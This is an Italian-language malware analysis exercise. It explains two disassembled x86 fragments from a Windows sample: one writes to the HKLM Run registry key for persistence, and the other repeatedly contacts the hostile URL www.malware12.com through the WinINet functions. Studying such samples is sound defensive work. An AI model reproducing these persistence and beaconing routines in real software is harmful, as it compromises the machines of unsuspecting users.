

Codice di un malware che apre una chiave di registro per aggiungere un valore in modo tale da ottenere persistenza

```
0040286F  push    2                ; samDesired
00402871  push    eax               ; ulOptions
00402872  push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi, RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx               ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx               ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax               ; lpData
0040289D  push    1                 ; dwType
0040289F  push    0                 ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx               ; lpValueName
004028A9  push    edx               ; hKey
004028AA  call    ds:RegSetValueExW
```

Funzione **regopenkeyex** con questa funzione il malware accede alla chiave di registro prima di modificare il valore

La funzione **regsetvalueex** viene utilizzata dal malware per modificare il valore del registro ed aggiungere una nuova entry in modo tale da ottenere la persistenza all'avvio del sistema operativo

Chiave di registro che viene utilizzata per ottenere la persistenza su un sistema operativo Windows

```
-----
.text:00401150 ; :::::::::::::::::::: S U B R O U T I N E ::::::::::::::::::::
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress  proc near                ; DATA XREF: sub_401040+ECF0
.text:00401150             push    esi
.text:00401151             push    edi
.text:00401152             push    0                ; dwFlags
.text:00401154             push    0                ; lpszProxyBypass
.text:00401156             push    0                ; lpszProxy
.text:00401158             push    1                ; dwAccessType
.text:0040115A             push    offset szAgent      ; "Internet Explorer 8.0"
.text:0040115F             call    ds:InternetOpenA
.text:00401165             mov     edi, ds:InternetOpenUrlA
.text:00401168             mov     esi, eax
.text:0040116D
.text:0040116D  loc_40116D:
.text:0040116D             push    0                ; CODE XREF: StartAddress+304j
.text:0040116F             push    80000000h         ; dwContext
.text:00401174             push    0                ; dwFlags
.text:00401176             push    0                ; dwHeadersLength
.text:00401178             push    offset szUrl     ; "http://www.malware12COM"
.text:0040117D             push    esi               ; hInternet
.text:0040117E             call    edi, InternetOpenUrlA
.text:00401180             jmp     short loc_40116D
.text:00401180 StartAddress  endp
-----
```

Internetopen funzione che viene utilizzata per inizializzare una connessione verso internet

Internetopenurl funzione che viene utilizzata per la connessione ad un determinato URL

Il client software utilizzato dal malware per la connessione ad internet è: **Internet explorer 8.0.**

L'URL al quale il malware tenta di connettersi è: **<http://www.malware12.com>** con la funzione **internetopenurl**